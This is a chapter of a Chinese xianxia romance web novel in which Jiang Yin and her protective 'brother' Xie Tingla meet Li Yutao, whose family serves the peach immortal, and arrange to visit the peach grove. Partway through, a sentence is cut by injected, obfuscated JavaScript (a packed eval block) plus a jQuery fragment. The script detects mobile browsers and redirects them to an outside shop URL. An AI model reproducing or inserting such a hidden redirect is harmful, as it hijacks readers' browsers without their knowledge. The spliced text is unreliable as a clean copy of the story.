她眼中闪过一丝失落,但很快收拾好情绪,重新扬起笑脸,看向姜音:
“仙子也是来拜桃仙的吗?”
姜音颔首道:“是,听闻桃仙灵验,便想来拜一拜。”
她看向方才那腹痛小童离去的方向,赞叹:“陶掌柜竟还通一些医术?”
陶如儿笑道:“略懂一二罢了。”
这时,从旁边走出一位已婚妇人打扮的女子,似是陶如儿旧识。
“陶掌柜谦逊!你的医术,可比那几十年的老医生都要精湛了,我这好几年的头疼病,陶掌柜一月便帮我治好了。”
妇人看向姜音和谢听澜,像是被什么晃了眼,一愣,嘴唇微张。
随即,她又看向陶如儿,目光在她微微羞红的耳垂一顿,嘴角勾起一抹了然的笑。
她眼珠子一转,挤在陶如儿身边,打趣道:
“陶掌柜不仅人好,还是我们桃花镇有名的美人儿,不过她鲜少来这桃花林,今日怎得来的,还进了桃仙庙祭拜,难不成——”
她话音一转,悄悄瞥向谢听澜。
“是有了心上人?”
“张姐姐!”
陶如儿嗔怪地看着她,脸颊腾地烧了起来,连脖颈都泛了粉。她嘴上在怪,身子却没躲,反倒借着这个由头,余光偷偷往旁边一觑。
那俊朗男子就站在姜音身侧,身姿笔挺如松。可他的眼睛,从头到尾都没有往她这边偏过一分,只对着他的妹妹姜音。
姜音抬手理了理发,他的目光便随着她玉指而动,姜音开口,他便含笑认真听着。
旁人在他眼里,似乎只是背景里的一抹灰。
陶如儿心中酸涩。
她只是这偏远小镇一个再普通不过的女子,在桃花镇算得上好看,可站在姜音身边,便如萤火站在月亮旁。
她怎能奢望这样的仙君能够为自己停留一瞬呢?
“二位可是姜澜仙君,和姜瑜仙子?”
一黑衣男子突然出声,硬生生打断了几人的交谈。
姜音疑惑:“你是?”
那黑衣人腰弯的更低,语气却带着不容拒绝的意味:“我家公子邀二位上楼一叙。”
方才还在一旁打趣陶如儿的张夫人眯起眼,上下打量了那黑衣人几眼,忽然一拍手。
“这不是李玉桃公子身边的侍从吗?”
李玉桃?
这不是方才祭祀的那人吗?他邀他们前去作何?
姜音下意识看向谢听澜。
他正垂眸看着她,眼底没什么波澜,只微微颔首。
姜音便转头,对那黑衣人道:“带路吧。”
她朝陶如儿微微颔了颔首,道了别。
陶如儿也勉强扯出一个笑,回了礼。
二人跟着那黑衣人转身离去了。
陶如儿站在原地,看着他们离去方向,又抬头看向桃仙庙,良久,长睫才慢慢垂落,在眼下投出一小片阴影,把眼底所有的情绪都掩了进去。
转身,独自离开了。
“公子,人到了。”
引路的黑衣人对着一道珠帘深作一揖,退下了。
下一瞬,珠帘被人从里掀开,露出一张矜贵的脸来。唇红齿白,眉宇间都是朝气,笑起来带着少年人特有的干净。
方才虽隔得远,但也能依稀辨别出他正是祭祀之人。
李玉桃。
他不知何时换了一身衣服,深绯色锦袍,颜色浓烈得像一匹烧着的绸缎,衬得他一张玉面更加朝气卓然。
李玉桃快步走到姜音的面前,他一双眼睛亮得惊人:
“听闻有一位神仙似的仙子来到桃花镇,今日一见,果然不凡。”
他长得俊朗,虽然言语动作有些冒犯,但尚在姜音可忍受之内。
这李家与桃仙干系甚密,她二人本就打算找机会探探李家虚实,没想到他竟自己找了上来。
正好!
姜音面上不动声色,唇角微微一勾:“李公子邀我们上楼,所为何事?”
李玉桃从出现起,便一直直勾勾地盯着姜音。
这哪里是凡间女子,简直是九天仙女落尘啊。
如今仙女开口,声如天籁,像春日里最暖的桃风,李玉桃酥了身子,脚下一个没忍住,往前又进半分。
忽而,一道寒光从眼角掠过!
他偏头,却见一道凌冽剑气正朝他面中而来!
李玉桃浑身汗毛倒竖,猛地偏头急躲。剑气擦着他耳畔掠过,“咔嚓"一声脆响——
他方才特意换上的白玉发冠被剑气从中劈开,玉簪断成两截,发带应声而裂,一头长发瞬间披散下来,凌乱地垂在肩头。
慌乱中,他看见而方才所站之地,赫然多了一道极深的裂痕。裂口笔直如线,边缘还残留着一丝被剑气灼过的焦痕。
这道裂痕穿透了厚重的木板,一路往下,透过裂口,甚至能直接看到楼下之物。
剑气再偏一分,此时这裂口,便在他的脖颈上了。
李玉桃踉跄着好不容易站稳,心跳快得几乎要撞出胸腔,慌忙抬头看是谁对自己如此不敬。
却见仙子身边那个罗刹,正施施然将剑回鞘。
他的动作慢条斯理,可身上渗出的寒意似腊月刀锋,让人骨髓发颤。
方才,他不过令剑出鞘半寸,便能发出如此威力的剑气。
李玉桃瞬间清醒了。
方才他一双眼睛全粘在这仙子身上,连她身边还立着一个兄长都忘了。
李玉桃有些懊恼,怎得如此把控不住自己,第一次见面就闹成这样,仙子怕不是要觉得他轻浮无礼了。
他转过身,慌忙取出另一个发冠,束发,确认身上再无不妥,才又转过来。
面颊绯红,连耳根都烧透了,他看着姜音,声带着几分窘迫。
“是我唐突了,仙子莫怪,仙君莫怪。”
姜音未将此番小插曲放在心上,反倒体贴为他解围,眉眼微弯:“李公子是方才祭祀疲累了吧?”
她目光清澈诚挚,如深潭映月,不染半分杂质。
李玉桃被这般目光一照,心中羞愧更甚,方才那点旖旎心思尽数散去。他定了定神,正了衣襟,对着二人深深一揖:
“不论如何,方才唐突了仙子,幸有仙君提醒,玉桃感激不尽。”
姜音道:“快快请起,小事罢了。”
李玉桃起了身,抱歉地看向谢听澜,却见这仙君依旧面若寒霜,连半分眼波都不肯施舍与他。
心中讪讪。
暗忖回头定要备一份赔礼,亲自向这位兄长请罪,万不能教他误认自己是那等不知分寸的轻薄之徒。
李玉桃引了二人在露台坐下。
露台三面悬空,临风而建,视野极阔。
姜音将裙摆收好坐下,看向台下,此处正对着桃林,将桃林中景一览无余。
桃树连绵不绝,自脚下铺至天际,如粉白云海覆地,望不到头。林中央一株巨树开得极盛,有寻常桃花三倍粗细,树干虬结如龙,满树繁花层层叠叠,灵气磅礴,在满林浅粉中如灵火不灭。
姜音不曾想这桃林竟有这般宽广,几占去半个桃花镇的地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966369|214530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
界。
李玉桃为他们斟茶,顺着姜音目光看去,落在那巨大得桃花树上。
“仙子看,那株桃花树,便是桃仙真身呢。”
姜音:“听闻李公子祖上与桃仙颇为交好,桃仙只与李家血脉来往?”
李玉桃道:“是桃仙抬举罢了。早年有一载大旱,桃林几近枯败,我家祖上引了山上灵泉之水灌溉,方保住这一片桃林。后来桃仙降临,便以报恩为名,允了我李家供奉之职。”
早先桃花镇上也有几户人家世代修道,护佑这方土地,李家亦是其中之一。然桃仙降临之后,李家便一家独大,成了这桃花镇上最大的修道世家。
李玉桃见她似乎对这桃花颇感兴趣,福至心灵道:“姜仙子可愿去桃林中瞧瞧?”
还有这等好事儿?她正愁怎么开口能够进桃林看看呢?
姜音故作迟疑,眉尖微微一蹙:“这不好吧,不是说桃林只有李家人可进?若是冒犯了桃仙……”
李玉桃见她有意,忙不迭道:“怎会?仙子这般人儿,想来桃仙也是颇愿意见的。”
他说得天花乱坠,言辞恳切。
姜音只莞尔不语。
她早有耳闻,往年李家偶尔也会引荐外人入桃林——
只消缴纳一笔灵石,便可入内“瞻仰仙颜”。
如今既有人愿替她免了这笔过路钱,自然没有推拒的道理。
“好啊。”
姜音不再推诿,直接应下了。
“只是……”李玉桃迟疑看向谢听澜,歉意道,“桃仙清修不便打搅,需得让仙君在此暂等片刻了。”
谢听澜看向姜音,那眸中意味十分明显。
不允。
姜音抿唇,终是不甘心放过这计划,微微侧过身,伏到谢听澜耳边,声音压得细细的,像一缕风钻进他耳中:
“兄长放心,我先去桃林探探虚实,你在这楼上,若是瞧见异样,也能救我。”
谢听澜似笑非笑看着她,也学着她的模样,探到她耳边,低声道:“你要独自与他去桃林?”
他倾身贴得极近,温热的唇几乎擦着她的耳廓掠过,带起一阵细微的战栗。
李玉桃坐在她二人侧方,只知晓兄妹二人在咬耳朵,却看不见细处,不好打搅,只能静待他们商议。
只是……这兄妹,是否太亲密了些?
姜音被耳畔热意激得耳根发麻,微微往后退了退。
这一退,恰好撞进他一双黑沉沉的眸子里。
她岂会听不出他话里的威胁?只是对那桃仙真身好奇至极,断不愿错失这般水到渠成的机会。
况且,明日便是陈婉清和孙茂才成婚之日,若是能够侦破这桃仙辛秘,说不定,也能挽救一双有情人。
她将手缩在桌案之下,伸出一根手指,轻轻勾住谢听澜的袖口,捏着那片衣料晃了晃,软声央道:
“兄长这般厉害,便是离我千里远,也定能护好我的,对不对?”
谢听澜垂眸,目光落在那根小巧圆润的指尖上,正捏着他的衣角轻轻晃荡。
再抬眼看她,那双黑白分明的杏眼里盛满了央求,亮得像两汪新汲的泉水,盛在白玉盏里。
乖得要命。
这就对了。
她有所求,便该如此告知他。
温言软语也好,娇声令他也罢,她想要的,都该说与他一人听。
只说与他一人听。
只有他,才会将她所欲之物尽数捧来。
谢听澜压下嘴角,淡道:“两柱香。”
便是允了。